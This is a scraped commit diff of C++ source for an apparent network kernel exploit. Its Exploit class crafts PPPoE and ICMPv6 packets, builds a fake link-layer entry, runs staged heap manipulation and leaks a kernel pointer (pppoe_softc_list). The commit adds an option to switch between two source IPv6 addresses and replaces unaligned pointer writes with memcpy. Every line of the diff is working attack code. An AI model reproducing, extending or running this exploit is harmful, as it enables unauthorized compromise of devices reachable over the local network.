1
1
#include < iostream>
2
2
#include < sstream>
3
+ #include < cstring>
3
4
4
5
#include < IPv6Layer.h>
5
6
#include < IPv4Layer.h>
50
51
51
52
const static std::string SOURCE_MAC = " 41:41:41:41:41:41" ;
52
53
const static std::string SOURCE_IPV4 = " 41.41.41.41" ;
53
- const static std::string SOURCE_IPV6 = " fe80::9f9f:41ff:9f9f:41ff" ;
54
+ const static std::string SOURCE_IPV6_1 = " fe80::4141:4141:4141:4141" ;
55
+ const static std::string SOURCE_IPV6_2 = " fe80::9f9f:41ff:9f9f:41ff" ;
56
+ const static uint64_t SIN6_ADDR_1 = 0x4141414141414141 ;
57
+ const static uint64_t SIN6_ADDR_2 = 0x9f9f41ff9f9f41ff ;
54
58
55
59
const static std::string TARGET_IPV4 = " 42.42.42.42" ;
56
60
57
61
const static std::string BPF_FILTER = " ((ip6) || (pppoed) || (pppoes && !ip))" ;
58
62
63
+ static std::string SOURCE_IPV6 = SOURCE_IPV6_2;
64
+ static uint64_t SIN6_ADDR = SIN6_ADDR_2;
65
+
59
66
struct Cookie {
60
67
pcpp::Packet packet;
61
68
};
@@ -81,11 +88,11 @@ struct Cookie {
81
88
#define htole16
82
89
#endif
83
90
84
- #define V64BE (list, index, data ) (*( uint64_t *) &(list)[index]) = htobe64(data)
85
- #define V64 (list, index, data ) (*( uint64_t *) &(list)[index]) = htole64(data)
86
- #define V32 (list, index, data ) (*( uint32_t *) &(list)[index]) = htole32(data)
87
- #define V16 (list, index, data ) (*( uint16_t *) &(list)[index]) = htole16(data)
88
- #define V8 (list, index, data ) (*( uint8_t *) &(list)[index]) = data
91
+ #define V64BE (list, index, data ) { uint64_t temp = htobe64 (data); std::memcpy ( &(list)[index ], &temp, sizeof ( uint64_t ));}
92
+ #define V64 (list, index, data ) { uint64_t temp = htole64 (data); std::memcpy ( &(list)[index ], &temp, sizeof ( uint64_t ));}
93
+ #define V32 (list, index, data ) { uint32_t temp = htole32 (data); std::memcpy ( &(list)[index ], &temp, sizeof ( uint32_t ));}
94
+ #define V16 (list, index, data ) { uint16_t temp = htole16 (data); std::memcpy ( &(list)[index ], &temp, sizeof ( uint16_t ));}
95
+ #define V8 (list, index, data ) { uint8_t temp = data; std::memcpy ( &(list)[index ], &temp, sizeof ( uint8_t ));}
89
96
90
97
#define CHECK_RET (value ) { int ret = (value); if (ret != RETURN_SUCCESS) return ret;}
91
98
#define CHECK_RUNNING () if (!running) return RETURN_STOP
@@ -180,6 +187,12 @@ void Exploit::setRealSleep(bool sleep) {
180
187
this ->real_sleep = sleep ;
181
188
}
182
189
190
+ void Exploit::setOldIpv6 (bool old) {
191
+ this ->old_ipv6 = old;
192
+ SOURCE_IPV6 = old ? SOURCE_IPV6_1 : SOURCE_IPV6_2;
193
+ SIN6_ADDR = old ? SIN6_ADDR_1 : SIN6_ADDR_2;
194
+ }
195
+
183
196
void Exploit::setTimeout (int value) {
184
197
this ->timeout = value;
185
198
}
@@ -550,7 +563,7 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
550
563
V32 (fake_lle, 0xC4 , 0 ); // sin6_flowinfo
551
564
// sin6_addr
552
565
V64BE (fake_lle, 0xC8 , 0xfe80000100000000 );
553
- V64BE (fake_lle, 0xD0 , 0x9f9f41ff9f9f41ff );
566
+ V64BE (fake_lle, 0xD0 , SIN6_ADDR );
554
567
V32 (fake_lle, 0xD8 , 0 ); // sin6_scope_id
555
568
556
569
// pad
@@ -737,7 +750,7 @@ int Exploit::stage0() {
737
750
}
738
751
739
752
std::stringstream sourceIpv6;
740
- sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << " :41ff:9f9f:41ff " ;
753
+ sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << SOURCE_IPV6. substr ( 10 ) ;
741
754
{
742
755
auto &&packet = PacketBuilder::icmpv6Echo (this ->source_mac , this ->target_mac ,
743
756
pcpp::IPv6Address (sourceIpv6.str ()), this ->target_ipv6 );
@@ -860,7 +873,7 @@ int Exploit::stage1() {
860
873
861
874
sourceIpv6.clear ();
862
875
sourceIpv6.str (" " );
863
- sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << " :41ff:9f9f:41ff " ;
876
+ sourceIpv6 << " fe80::" << std::setfill (' 0' ) << std::setw (4 ) << std::hex << i << SOURCE_IPV6. substr ( 10 ) ;
864
877
865
878
{
866
879
auto &&packet = PacketBuilder::icmpv6Echo (this ->source_mac , this ->target_mac ,
@@ -925,7 +938,8 @@ int Exploit::stage2() {
925
938
if (option[0 ] != 1 ) return false ; // type 1 is ICMPv6NDOptSrcLLAddr
926
939
if (option[1 ] > 1 ) {
927
940
auto *self = (Exploit *) cookie;
928
- self->pppoe_softc_list = htole64 (*(uint64_t * )(option + 3 ));
941
+ std::memcpy (&self->pppoe_softc_list , option + 3 , sizeof (uint64_t ));
942
+ self->pppoe_softc_list = htole64 (self->pppoe_softc_list );
929
943
return true ; // length > 1
930
944
}
931
945
return false ;
0 commit comments